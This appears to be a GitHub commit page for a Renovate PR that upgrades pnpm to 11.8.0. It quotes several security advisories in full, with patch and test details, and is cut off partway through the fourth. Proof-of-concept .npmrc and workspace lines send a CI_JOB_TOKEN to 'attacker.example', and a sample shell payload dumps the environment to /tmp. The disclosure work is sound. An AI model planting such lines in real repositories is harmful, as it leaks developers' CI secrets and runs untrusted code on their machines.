Skip to content

Commit cebe041

Browse files
chore(deps): update pnpm to v11.8.0 [security] (#830)
> ℹ️ **Note** > > This PR body was truncated due to platform limits. This PR contains the following updates: | Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) | |---|---|---|---| | [pnpm](https://pnpm.io) ([source](https://redirect.github.com/pnpm/pnpm/tree/HEAD/pnpm11/pnpm)) | [`11.5.1` → `11.8.0`](https://renovatebot.com/diffs/npm/pnpm/11.5.1/11.8.0) | ![age](https://developer.mend.io/api/mc/badges/age/npm/pnpm/11.8.0?slim=true) | ![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/pnpm/11.5.1/11.8.0?slim=true) | --- ### pnpm: Repository config can expand victim environment secrets into registry requests before scripts run [CVE-2026-55180](https://nvd.nist.gov/vuln/detail/CVE-2026-55180) / [GHSA-3qhv-2rgh-x77r](https://redirect.github.com/advisories/GHSA-3qhv-2rgh-x77r) <details> <summary>More information</summary> #### Details <!-- maintainer-action:start --> ##### Maintainer Action Plan This report is ready to review with the shared patch branch. Start with the PR and the expected fixed behavior, then use the detailed exploit narrative below only if you want to replay the original path. - Advisory: `CAND-PNPM-122` / `GHSA-3qhv-2rgh-x77r` - Advisory URL: https://github.com/pnpm/pnpm/security/advisories/GHSA-3qhv-2rgh-x77r - Shared patch PR: [https://github.com/pnpm/pnpm-ghsa-j2hc-m6cf-6jm8/pull/1](https://redirect.github.com/pnpm/pnpm-ghsa-j2hc-m6cf-6jm8/pull/1) - Shared patch branch: `security/ghsa-batch-2026-06-09` - Patch commit: `a93449314f398cf4bdf2e28d033c02d37395ad22` - Base commit: `origin/main` `55a4035abf1ae3fe7208ba1f5ef43c5eff58ccec` - Maintainer priority: `start-here` - Component: `pnpm config/env replacement and registry auth` - Patch area: project .npmrc env placeholders are not expanded into registry/auth destinations - Affected packages: `npm:pnpm`, `npm:@&#8203;pnpm/config.reader`, `rust:pacquet` - CWE IDs: `CWE-201`, `CWE-200`, `CWE-522` - Conservative CVSS: `6.5` / `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N` - Next action: review the shared patch branch for this component, set the final affected version range, merge and release the fix, then publish or close the advisory. ##### Expected Patched Behavior Project `.npmrc` environment placeholders do not expand into registry or auth destinations; the secret is absent from the request URL and auth header. ##### Files And Tests To Review - `config/reader/src/loadNpmrcFiles.ts` - `config/reader/src/getOptionsFromRootManifest.ts` - `config/reader/test/index.ts` - `config/reader/test/getOptionsFromRootManifest.test.ts` - `pacquet/crates/config/src/npmrc_auth.rs` - `pacquet/crates/config/src/npmrc_auth/tests.rs` - `pacquet/crates/config/src/workspace_yaml.rs` - `pacquet/crates/config/src/workspace_yaml/tests.rs` - `.changeset/sharp-registry-env-placeholders.md` ##### Focused Validation Run these from a checkout of the shared patch branch. They are the useful maintainer commands with machine-local artifact paths removed. ```bash ./node_modules/.bin/tsgo --build config/reader/tsconfig.json NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../node_modules/.bin/jest test/getOptionsFromRootManifest.test.ts --runInBand NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../node_modules/.bin/jest test/index.ts -t "project \.npmrc does not expand env variables in registry URLs|project \.npmrc does not expand env variables in scoped registry URLs or URL-scoped keys|project \.npmrc does not expand env variables in auth values|user \.npmrc may expand env variables in registry URLs|drops the placeholder when the env var is unset|substitutes normally when the env var is set|only drops the unresolved placeholder|explicit .*undefined.* fallbacks|pnpm-workspace\.yaml registries do not expand env variables|return a warning when the \.npmrc has an env variable" --runInBand ./node_modules/.bin/eslint config/reader/src/loadNpmrcFiles.ts config/reader/src/getOptionsFromRootManifest.ts config/reader/test/index.ts config/reader/test/getOptionsFromRootManifest.test.ts cargo fmt --manifest-path pacquet/crates/config/Cargo.toml --check cargo test --manifest-path pacquet/crates/config/Cargo.toml project_ini_ignores_env_placeholders_in_registry_urls --lib cargo test --manifest-path pacquet/crates/config/Cargo.toml project_ini_ignores_env_placeholders_in_scoped_registry_urls --lib cargo test --manifest-path pacquet/crates/config/Cargo.toml project_ini_ignores_env_placeholders_in_url_scoped_keys --lib cargo test --manifest-path pacquet/crates/config/Cargo.toml project_ini_ignores_env_placeholders_in_auth_values --lib cargo test --manifest-path pacquet/crates/config/Cargo.toml trusted_ini_expands_env_placeholders_in_registry_urls --lib cargo test --manifest-path pacquet/crates/config/Cargo.toml ignores_env_vars_inside_workspace_registry_values --lib git diff --check cargo fmt --check ``` The full patched replay for the shared branch passed with all 20 candidates marked fixed. This candidate's replay evidence is `results/CAND-PNPM-122-patched-result.json`. <!-- maintainer-action:end --> ##### CAND-PNPM-122: Repository config can expand victim environment secrets into registry requests before scripts run ##### Advisory Details ##### Summary pnpm and pacquet expanded `${ENV_VAR}` placeholders from repository-controlled `.npmrc` and `pnpm-workspace.yaml` into registry request destinations and registry credentials. A malicious repository could cause dependency resolution to send victim environment secrets to an attacker-selected registry before lifecycle scripts run. ##### Details The vulnerable TypeScript pnpm path was: - `config/reader/src/loadNpmrcFiles.ts` loaded project `.npmrc` and substituted environment placeholders in keys and values. - `config/reader/src/getOptionsFromRootManifest.ts` substituted environment placeholders inside workspace `registry`, `registries`, and `namedRegistries` settings. - `config/reader/src/index.ts` merged those expanded registry/auth values into `pnpmConfig.registries`, `pnpmConfig.authConfig`, and `pnpmConfig.configByUri`. - `resolving/npm-resolver/src/fetch.ts` built metadata request URLs from the selected registry. - `network/fetch/src/fetchFromRegistry.ts` dispatched the request and attached matching auth headers before install lifecycle scripts could run. The pacquet parity path was: - `pacquet/crates/config/src/npmrc_auth.rs` expanded project `.npmrc` placeholders while parsing registry URLs and auth values. - `pacquet/crates/config/src/workspace_yaml.rs` expanded workspace registry placeholders. - `pacquet/crates/resolving-npm-resolver/src/fetch_full_metadata.rs` used the configured registry URL and `AuthHeaders` for metadata fetches. ##### PoC Repository `.npmrc` URL-path exfiltration: ```ini registry=https://attacker.example/${CI_JOB_TOKEN}/ ``` Repository `.npmrc` auth-header exfiltration: ```ini registry=https://attacker.example/ //attacker.example/:_authToken=${CI_JOB_TOKEN} ``` Repository `pnpm-workspace.yaml` URL-path exfiltration: ```yaml registries: default: https://attacker.example/${CI_JOB_TOKEN}/ namedRegistries: work: https://attacker.example/${CI_JOB_TOKEN}/npm/ ``` Exploit method: 1. The victim checks out the repository and runs a pnpm or pacquet dependency-management command with `CI_JOB_TOKEN` or another sensitive environment variable present. 2. Before the patch, repository config expanded the placeholder to the victim secret. 3. The resolver used the expanded registry or matching auth entry to construct a metadata request. 4. The victim sent a request such as `https://attacker.example/<secret>/<package>` or `Authorization: Bearer <secret>` to the attacker-controlled endpoint. Validation PoC: The PoC models the pre-patch URL and Authorization-header leaks, then verifies that patched pnpm and pacquet do not keep the secret in repository-controlled registry destinations or credential values. ##### Impact A malicious repository can disclose environment secrets present in a developer or CI process to a repository-selected registry before script controls apply. This can expose npm tokens, CI job tokens, OIDC helper inputs, or other conventional environment secrets if the attacker knows or guesses their names. ##### Affected Products Ecosystem: npm Package name: `pnpm`, `@pnpm/config.reader`; pacquet Rust port Affected versions: current main before this patch, when project `.npmrc` or `pnpm-workspace.yaml` contains environment placeholders in registry request destinations or project `.npmrc` contains environment placeholders in registry credential values. Patched versions: pending release containing this patch. ##### Severity Severity before patch: High Vector string before patch: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N` Score before patch: 7.4 Severity after patch: None Vector string after patch: not vulnerable after patch Score after patch: 0.0 Rationale: exploitation is remote and low complexity once a victim runs pnpm or pacquet in the malicious repository. No attacker privileges are required, but user interaction is required. The demonstrated sink is secret disclosure through outbound registry requests, not arbitrary code execution, so confidentiality is high while integrity and availability are not directly impacted by this finding. After the patch, repository-controlled registry destinations and credential values containing env placeholders are ignored, while trusted user/global/auth.ini/CLI config still expands. ##### Weaknesses CWE-201: Insertion of Sensitive Information Into Sent Data CWE-200: Exposure of Sensitive Information to an Unauthorized Actor CWE-522: Insufficiently Protected Credentials ##### Patch The patch makes environment expansion trust-aware for registry requests: - Project `.npmrc` no longer expands `${...}` in `registry`, `@scope:registry`, proxy URL values, URL-scoped keys such as `//host/${SECRET}/:_authToken`, or registry credential values such as `//host/:_authToken=${SECRET}` and `_authToken=${SECRET}`. - User `.npmrc`, auth.ini, CLI, global, and environment config still support env expansion for trusted registry configuration. - `pnpm-workspace.yaml` no longer expands `${...}` in `registry`, `registries`, or `namedRegistries` URL values. - Trusted user-level auth values such as `//registry.npmjs.org/:_authToken=${NODE_AUTH_TOKEN}` still expand or lossy-drop as before, preserving setup-node and OIDC trusted-publishing behavior when the `.npmrc` is supplied as user config. - Pacquet mirrors the same boundary with `from_project_ini()` for project `.npmrc` and workspace registry filtering. Changed files: - `config/reader/src/loadNpmrcFiles.ts` - `config/reader/src/getOptionsFromRootManifest.ts` - `config/reader/test/index.ts` - `config/reader/test/getOptionsFromRootManifest.test.ts` - `pacquet/crates/config/src/npmrc_auth.rs` - `pacquet/crates/config/src/npmrc_auth/tests.rs` - `pacquet/crates/config/src/workspace_yaml.rs` - `pacquet/crates/config/src/workspace_yaml/tests.rs` Changeset: - `.changeset/sharp-registry-env-placeholders.md` Pacquet parity: Ported in the same patch. Pacquet dependency-management commands now parse project `.npmrc` with request-destination and credential-value env expansion disabled, and drop workspace registry values containing `${...}` placeholders. ##### Verification Post-patch validation: The PoC ran: ```bash ./node_modules/.bin/tsgo --build config/reader/tsconfig.json NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../node_modules/.bin/jest test/getOptionsFromRootManifest.test.ts --runInBand NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../node_modules/.bin/jest test/index.ts -t "project \.npmrc does not expand env variables in registry URLs|project \.npmrc does not expand env variables in scoped registry URLs or URL-scoped keys|project \.npmrc does not expand env variables in auth values|user \.npmrc may expand env variables in registry URLs|drops the placeholder when the env var is unset|substitutes normally when the env var is set|only drops the unresolved placeholder|explicit .*undefined.* fallbacks|pnpm-workspace\.yaml registries do not expand env variables|return a warning when the \.npmrc has an env variable" --runInBand ./node_modules/.bin/eslint config/reader/src/loadNpmrcFiles.ts config/reader/src/getOptionsFromRootManifest.ts config/reader/test/index.ts config/reader/test/getOptionsFromRootManifest.test.ts cargo fmt --manifest-path pacquet/crates/config/Cargo.toml --check cargo test --manifest-path pacquet/crates/config/Cargo.toml project_ini_ignores_env_placeholders_in_registry_urls --lib cargo test --manifest-path pacquet/crates/config/Cargo.toml project_ini_ignores_env_placeholders_in_scoped_registry_urls --lib cargo test --manifest-path pacquet/crates/config/Cargo.toml project_ini_ignores_env_placeholders_in_url_scoped_keys --lib cargo test --manifest-path pacquet/crates/config/Cargo.toml project_ini_ignores_env_placeholders_in_auth_values --lib cargo test --manifest-path pacquet/crates/config/Cargo.toml trusted_ini_expands_env_placeholders_in_registry_urls --lib cargo test --manifest-path pacquet/crates/config/Cargo.toml ignores_env_vars_inside_workspace_registry_values --lib git diff --check ``` Results: - PoC pre-patch model showed `cand122-ci-job-token` in both a request URL and a bearer auth header. - TypeScript build for `config.reader`: passed. - Focused root-manifest tests: 8 passed, including workspace registry and named-registry placeholder denial. - Focused config-reader integration tests: 10 passed, covering project `.npmrc` default registry denial, scoped registry denial, URL-scoped-key denial, project auth-value denial, trusted user `.npmrc` registry expansion, trusted user auth-value expansion/lossy fallback, and workspace registry denial. - `cargo fmt --check`: passed. - Focused pacquet tests: 6 passed, covering project `.npmrc` registry denial, scoped registry denial, URL-scoped-key denial, auth-value denial, trusted `.npmrc` registry expansion, and workspace YAML denial. - `git diff --check`: passed. ##### CVSS Reassessment The initial scan score used a repository-code-execution vector: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H` (8.8 High) The PoC and source trace showed this finding is direct secret disclosure through registry request URLs or Authorization headers, not a code execution path. The corrected vulnerable vector is: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N` Corrected vulnerable score: 7.4 High. Final score after patch: 0.0. #### Severity - CVSS Score: 6.5 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N` #### References - [https://github.com/pnpm/pnpm/security/advisories/GHSA-3qhv-2rgh-x77r](https://redirect.github.com/pnpm/pnpm/security/advisories/GHSA-3qhv-2rgh-x77r) - [https://nvd.nist.gov/vuln/detail/CVE-2026-55180](https://nvd.nist.gov/vuln/detail/CVE-2026-55180) - [https://github.com/advisories/GHSA-3qhv-2rgh-x77r](https://redirect.github.com/advisories/GHSA-3qhv-2rgh-x77r) This data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-3qhv-2rgh-x77r) ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### pnpm: Manifest identity spoof satisfies allowBuilds and runs attacker lifecycle [CVE-2026-55487](https://nvd.nist.gov/vuln/detail/CVE-2026-55487) / [GHSA-5wx6-mg75-v57r](https://redirect.github.com/advisories/GHSA-5wx6-mg75-v57r) <details> <summary>More information</summary> #### Details ##### Summary Keep build approval for opaque dependency sources byte-exact for GHSA-5wx6-mg75-v57r / CAND-PNPM-123. Merged upstream commit `bf1b731ee6` fixed the original name-only approval bypass by making build policy consume the resolved dependency identity. One collision remained: the generic peer-suffix normalizer also stripped parenthesized text from git, URL, tarball, file, and other opaque locators. Approval for one source string could therefore authorize a different attacker-controlled source whose locator normalized to the same value. ##### Security boundary - Registry dependency identities still normalize legitimate peer suffixes and retain patch hashes. - Git, URL, tarball, file, directory, and otherwise opaque identities must match the complete resolved locator byte for byte. - Explicit denials use the same normalization as approvals. - Ignored-build output preserves the exact opaque identity, so the key pnpm asks a user to approve is the key policy later checks. - TypeScript pnpm and pacquet implement the same distinction between registry and opaque identities. ##### Exploit replay - With `allowBuilds` approving `foo@https://host/pkg.tgz`, the upstream implementation also accepted `foo@https://host/pkg.tgz(evil)` because both passed through peer-suffix removal. - An independent review found a second Rust-only form: `foo@https://host/pkg@1.0.0(good)` and `foo@https://host/pkg@1.0.0(evil)` collided because the parser selected the final `@` and misclassified the opaque URL as a registry package. - A final review found the same parser hazard in source-only locators ending in a semver-looking tail: approval for `https://host/pkg@1.0.0` could collapse `https://host/pkg@1.0.0(evil)`. - The final patch rejects all three collision forms, applies the same exactness to deny rules, accepts exact opaque keys as positive controls, and continues to accept registry packages approved without their peer suffixes. ##### Files changed - `building/policy/src/index.ts` and `building/policy/test/index.ts` normalize only parsed registry identities and retain exact opaque keys. - `pacquet/crates/package-manager/src/build_modules.rs` passes snapshot identities to policy, matches TypeScript package-separator parsing, and preserves opaque locators. - `pacquet/crates/package-manager/src/build_modules/tests.rs` covers exact approval and denial, all three collision forms, ignored-build output, and registry peer compatibility. - `.changeset/quiet-opaque-build-identities.md` records patch releases for `@pnpm/building.policy` and `pnpm`. ##### Commands run ```text $ jest building/policy/test/index.ts --runInBand 16 passed $ cargo test -p pacquet-package-manager build_modules::tests -- --nocapture 49 passed $ cargo fmt --all -- --check PASS $ git diff --check 84bb4b1a046f3a659de1c9aab1d45dcf814124ce...HEAD PASS ``` ##### Validation - The TypeScript policy suite passed all 16 tests. - The final pacquet build-policy suite passed all 49 tests. - The new Rust regression reproduced the extra-`@` collision before the additive fix and passed afterward. - Exact opaque approval and denial, source-only semver-tail collision rejection, registry peer normalization, and ignored-build reporting all have paired tests. - ESLint passed on the changed TypeScript source and test files. - Rust formatting and diff checks passed; the branch is clean and consists of three focused security commits plus additive merges of upstream through `84bb4b1a046f3a659de1c9aab1d45dcf814124ce`. - The focused TypeScript suite and ESLint ran directly through the installed harness. The isolated project build cannot resolve workspace packages without a local install, and the configured registry gateway returns HTTP 403 while fetching `@pnpm/pacquet@0.11.2`; no candidate-focused test failed. ##### Patches `10.34.2`: https://github.com/pnpm/pnpm/commit/14bceb1e0b2a71f4f670774db261feb03f38ec23 `11.5.3`: https://github.com/pnpm/pnpm/commit/bf1b731ee6c0ea98709e671ff0f46bf654480ab8 ##### Compatibility Registry package approvals keep their existing form. Opaque dependencies that were approved through a normalized parenthesized variant must now use the exact key shown in pnpm's ignored-build output. This is the intended trust-boundary change; no package-resolution or artifact format changes. ##### CI note GitHub intentionally does not run status checks on temporary private-fork pull requests. The complete policy suites, formatting, and diff checks above are the applicable validation: https://docs.github.com/code-security/security-advisories/collaborating-in-a-temporary-private-fork-to-resolve-a-security-vulnerability --- Written by an agent (Codex, GPT-5). #### Severity - CVSS Score: 7.5 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H` #### References - [https://github.com/pnpm/pnpm/security/advisories/GHSA-5wx6-mg75-v57r](https://redirect.github.com/pnpm/pnpm/security/advisories/GHSA-5wx6-mg75-v57r) - [https://nvd.nist.gov/vuln/detail/CVE-2026-55487](https://nvd.nist.gov/vuln/detail/CVE-2026-55487) - [https://github.com/pnpm/pnpm/commit/bf1b731ee6c0ea98709e671ff0f46bf654480ab8](https://redirect.github.com/pnpm/pnpm/commit/bf1b731ee6c0ea98709e671ff0f46bf654480ab8) - [https://github.com/pnpm/pnpm/releases/tag/v10.34.2](https://redirect.github.com/pnpm/pnpm/releases/tag/v10.34.2) - [https://github.com/pnpm/pnpm/releases/tag/v11.5.3](https://redirect.github.com/pnpm/pnpm/releases/tag/v11.5.3) - [https://github.com/advisories/GHSA-5wx6-mg75-v57r](https://redirect.github.com/advisories/GHSA-5wx6-mg75-v57r) This data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-5wx6-mg75-v57r) ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### pnpm: Repository-controlled configDependencies can select a pacquet native install engine [CVE-2026-55697](https://nvd.nist.gov/vuln/detail/CVE-2026-55697) / [GHSA-gj8w-mvpf-x27x](https://redirect.github.com/advisories/GHSA-gj8w-mvpf-x27x) <details> <summary>More information</summary> #### Details <!-- maintainer-action:start --> ##### Maintainer Action Plan This report is ready to review with the shared patch branch. Start with the PR and the expected fixed behavior, then use the detailed exploit narrative below only if you want to replay the original path. - Advisory: `CAND-PNPM-097` / `GHSA-gj8w-mvpf-x27x` - Advisory URL: https://github.com/pnpm/pnpm/security/advisories/GHSA-gj8w-mvpf-x27x - Shared patch PR: [https://github.com/pnpm/pnpm-ghsa-j2hc-m6cf-6jm8/pull/1](https://redirect.github.com/pnpm/pnpm-ghsa-j2hc-m6cf-6jm8/pull/1) - Shared patch branch: `security/ghsa-batch-2026-06-09` - Patch commit: `a93449314f398cf4bdf2e28d033c02d37395ad22` - Base commit: `origin/main` `55a4035abf1ae3fe7208ba1f5ef43c5eff58ccec` - Maintainer priority: `start-here` - Component: `pnpm configDependencies / pacquet delegation` - Patch area: pacquet/configDependency lifecycle execution is not used as install engine without trust - Affected packages: `npm:pnpm`, `npm:@&#8203;pnpm/config.reader`, `npm:@&#8203;pnpm/installing.commands` - CWE IDs: `CWE-829`, `CWE-78`, `CWE-494` - Conservative CVSS: `7.5` / `CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H` - Next action: review the shared patch branch for this component, set the final affected version range, merge and release the fix, then publish or close the advisory. ##### Expected Patched Behavior config-dependency pacquet install engines are not selected unless the trusted allowlist is set outside the repository; the marker file is not created. ##### Files And Tests To Review - `config/reader/src/Config.ts` - `config/reader/src/types.ts` - `config/reader/src/configFileKey.ts` - `config/reader/src/index.ts` - `config/reader/test/index.ts` - `installing/commands/src/installDeps.ts` - `installing/commands/test/runPacquet.ts` - `pnpm/test/install/pacquet.ts` - `.changeset/lucky-config-plugin-pnpmfiles.md` ##### Focused Validation Run these from a checkout of the shared patch branch. They are the useful maintainer commands with machine-local artifact paths removed. ```bash ./node_modules/.bin/tsgo --build config/reader/tsconfig.json ./node_modules/.bin/tsgo --build installing/commands/tsconfig.json ./node_modules/.bin/tsgo --build pnpm/tsconfig.json NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../node_modules/.bin/jest test/runPacquet.ts --runInBand NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../node_modules/.bin/jest test/index.ts -t "config dependency code allowlists|user-level preference settings" --runInBand ./node_modules/.bin/eslint config/reader/src/Config.ts config/reader/src/types.ts config/reader/src/configFileKey.ts config/reader/src/index.ts config/reader/test/index.ts installing/commands/src/installDeps.ts installing/commands/test/runPacquet.ts pnpm/test/install/pacquet.ts git diff --check ``` The full patched replay for the shared branch passed with all 20 candidates marked fixed. This candidate's replay evidence is `results/CAND-PNPM-097-patched-result.json`. <!-- maintainer-action:end --> ##### Summary pnpm can install `configDependencies` declared in `pnpm-workspace.yaml` before command dispatch. Before the patch, a repository could declare `pacquet` or `@pnpm/pacquet` as a config dependency and pnpm treated that repository-controlled dependency as an install-engine opt-in. During install, pnpm resolved a platform-specific `@pacquet/<platform>-<arch>/pacquet` binary from `node_modules/.pnpm-config/<packageName>` and spawned it as the developer or CI user. ##### Details The vulnerable source-to-sink path was: - `config/reader/src/getOptionsFromRootManifest.ts` copies repository `pnpm-workspace.yaml` `configDependencies` into config. - `pnpm/src/getConfig.ts` installs config dependencies before command dispatch. - `installing/env-installer/src/resolveAndInstallConfigDeps.ts` resolves the repository-declared dependency and its optional platform subdependencies. - `installing/env-installer/src/installConfigDeps.ts` fetches, imports, and symlinks the config dependency tree under `node_modules/.pnpm-config`. - `installing/commands/src/installDeps.ts` selected pacquet delegation whenever `configDependencies` contained `pacquet` or `@pnpm/pacquet`. - `installing/deps-installer/src/install/index.ts` called `opts.runPacquet` from frozen and materialization paths. - `installing/commands/src/runPacquet.ts` resolved `@pacquet/${process.platform}-${process.arch}/pacquet` from the installed config dependency package and executed it with `spawn()`. Exact-version, integrity, and platform filters only proved which bytes package resolution selected; they did not establish that the repository was trusted to choose a native install engine. ##### PoC Standalone PoC and verification script: Repository fixture: ```yaml packages: - . configDependencies: pacquet: 0.2.2 ``` Registry package shape: ```json { "name": "pacquet", "version": "0.2.2", "optionalDependencies": { "@&#8203;pacquet/darwin-arm64": "0.2.2" } } ``` Platform package payload: ```sh #!/bin/sh echo "$PWD" > /tmp/pacquet-engine-ran env > /tmp/pacquet-engine-env ``` Pre-patch exploit model: 1. The victim runs a dependency-management command such as `pnpm install` in the repository. 2. pnpm installs the repository-declared config dependency and its host-compatible optional platform dependency into `.pnpm-config`. 3. `installDeps()` treats the presence of `configDependencies.pacquet` or `configDependencies["@&#8203;pnpm/pacquet"]` as authorization to delegate install materialization. 4. `runPacquet()` resolves the platform binary from the installed config dependency tree and spawns it in the lockfile directory. Observed PoC output: ```json { "primitive": "repository-selected pacquet config dependency reaches native process execution when selected", "patchedWithoutAllowlist": "blocked", "trustedAllowlist": "allows explicit opt-in" } ``` Focused validation commands: ```bash ./node_modules/.bin/tsgo --build config/reader/tsconfig.json ./node_modules/.bin/tsgo --build installing/commands/tsconfig.json ./node_modules/.bin/tsgo --build pnpm/tsconfig.json NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../node_modules/.bin/jest test/runPacquet.ts --runInBand NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../node_modules/.bin/jest test/index.ts -t "config dependency code allowlists|user-level preference settings" --runInBand ./node_modules/.bin/eslint config/reader/src/Config.ts config/reader/src/types.ts config/reader/src/configFileKey.ts config/reader/src/index.ts config/reader/test/index.ts installing/commands/src/installDeps.ts installing/commands/test/runPacquet.ts pnpm/test/install/pacquet.ts git diff --check ``` Validation result: - The PoC confirmed a selected pacquet config dependency reaches native process execution. - Patched `getPacquetConfigDependencyName()` returns `undefined` without a trusted allowlist. - Patched `getPacquetConfigDependencyName()` allows exact `pacquet`, exact `@pnpm/pacquet`, and wildcard `*` trusted opt-in. - Config reader regressions prove user/global config can set `configDependencyInstallEngineAllowlist`, while `pnpm-workspace.yaml` cannot grant this permission to itself. - E2E fixtures that intentionally delegate to pacquet now pass the trusted allowlist through environment config. - TypeScript builds passed for `@pnpm/config.reader`, `@pnpm/installing.commands`, and `pnpm`. - Focused `installing/commands/test/runPacquet.ts`: 3 passed. - Focused `config/reader/test/index.ts`: 2 passed, 132 skipped under the focused pattern. - ESLint passed with warnings only for existing skipped tests in `config/reader/test/index.ts` and `pnpm/test/install/pacquet.ts`. - `git diff --check`: passed. ##### Impact A malicious repository can cause pnpm to execute a registry-selected native binary while handling dependency-management commands. The binary runs with the victim developer or CI user's filesystem, environment, registry credentials, git/SSH credentials, and network access. ##### Affected products Ecosystem: npm Package name: `pnpm`, `@pnpm/config.reader`, `@pnpm/installing.commands` Affected versions: current main before this patch, when `configDependencies` contains `pacquet` or `@pnpm/pacquet` and install paths delegate to pacquet. Patched versions: 10.34.2, 11.5.3. ##### Severity Severity: High Vector string: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H` Base score: 8.8 Rationale: attacker input is delivered through a repository and registry package, exploitation is low complexity once the victim runs pnpm, no attacker privileges are required, and user interaction is required. Successful exploitation executes a native binary in the victim user's context, with high confidentiality, integrity, and availability impact. ##### Weaknesses CWE-829: Inclusion of Functionality from Untrusted Control Sphere CWE-78: Improper Neutralization of Special Elements used in an OS Command CWE-494: Download of Code Without Integrity Check ##### Patch The patch adds a trusted opt-in gate for config-dependency install-engine delegation: - New setting: `configDependencyInstallEngineAllowlist`. - The allowlist can be set from trusted user-controlled config such as global config, CLI config, or environment config. - `pnpm-workspace.yaml` cannot grant this permission to itself; workspace-provided values are discarded after workspace settings are merged. - `installDeps()` delegates to pacquet only when `pacquet`, `@pnpm/pacquet`, or `*` is present in the trusted allowlist. - Repositories can still install `pacquet` as a config dependency, but pnpm will not spawn it as an install engine unless trusted config opts in. - Existing tests that intentionally exercise pacquet delegation were updated to pass the trusted allowlist via environment config. Changed files: - `config/reader/src/Config.ts` - `config/reader/src/types.ts` - `config/reader/src/configFileKey.ts` - `config/reader/src/index.ts` - `config/reader/test/index.ts` - `installing/commands/src/installDeps.ts` - `installing/commands/test/runPacquet.ts` - `pnpm/test/install/pacquet.ts` Changeset: - `.changeset/lucky-config-plugin-pnpmfiles.md` Pacquet parity: No pacquet-side code-execution sink exists for this finding. The Rust port parses and records `configDependencies` for workspace-state compatibility, but it does not install config dependencies or select/spawn an alternate install engine from them. The user-visible trust setting is TypeScript-side today because it gates pnpm's pacquet delegation path. ##### CVSS Reassessment Initial CVSS remains correct for vulnerable versions: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H` / 8.8 High. Final CVSS after patch: not vulnerable after patch / 0.0. The PoC no longer reaches pacquet install-engine selection or native process execution unless the victim has set a trusted allowlist outside the repository's own workspace settings. ##### Remaining Risk Users can explicitly trust pacquet install-engine delegation through the new allowlist. That is intentional behavior; the closed issue is repository self-authorization of a registry-provided native install engine. #### Severity - CVSS Score: 7.5 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H` #### References - [https://github.com/pnpm/pnpm/security/advisories/GHSA-gj8w-mvpf-x27x](https://redirect.github.com/pnpm/pnpm/security/advisories/GHSA-gj8w-mvpf-x27x) - [https://nvd.nist.gov/vuln/detail/CVE-2026-55697](https://nvd.nist.gov/vuln/detail/CVE-2026-55697) - [https://github.com/advisories/GHSA-gj8w-mvpf-x27x](https://redirect.github.com/advisories/GHSA-gj8w-mvpf-x27x) This data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-gj8w-mvpf-x27x) ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### pnpm: Project env lockfile can short-circuit package-manager resolution and execute lockfile-selected pnpm bytes [CVE-2026-55698](https://nvd.nist.gov/vuln/detail/CVE-2026-55698) / [GHSA-w466-c33r-3gjp](https://redirect.github.com/advisories/GHSA-w466-c33r-3gjp) <details> <summary>More information</summary> #### Details <!-- maintainer-action:start --> ##### Maintainer Action Plan This report is ready to review with the shared patch branch. Start with the PR and the expected fixed behavior, then use the detailed exploit narrative below only if you want to replay the original path. - Advisory: `CAND-PNPM-063` / `GHSA-w466-c33r-3gjp` - Advisory URL: https://github.com/pnpm/pnpm/security/advisories/GHSA-w466-c33r-3gjp - Shared patch PR: [https://github.com/pnpm/pnpm-ghsa-j2hc-m6cf-6jm8/pull/1](https://redirect.github.com/pnpm/pnpm-ghsa-j2hc-m6cf-6jm8/pull/1) - Shared patch branch: `security/ghsa-batch-2026-06-09` - Patch commit: `a93449314f398cf4bdf2e28d033c02d37395ad22` - Base commit: `origin/main` `55a4035abf1ae3fe7208ba1f5ef43c5eff58ccec` - Maintainer priority: `start-here` - Component: `pnpm packageManager env lockfile` - Patch area: package-manager env lockfile is re-resolved through trusted registries before execution - Affected packages: `npm:pnpm`, `npm:@&#8203;pnpm/installing.env-installer` - CWE IDs: `CWE-829`, `CWE-494`, `CWE-345` - Conservative CVSS: `8.8` / `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H` - Next action: review the shared patch branch for this component, set the final affected version range, merge and release the fix, then publish or close the advisory. ##### Expected Patched Behavior Committed env-lockfile package-manager entries are force-refreshed through trusted registries before execution; attacker tarball requests and markers stay at zero. ##### Files And Tests To Review - `installing/env-installer/src/resolvePackageManagerIntegrities.ts` - 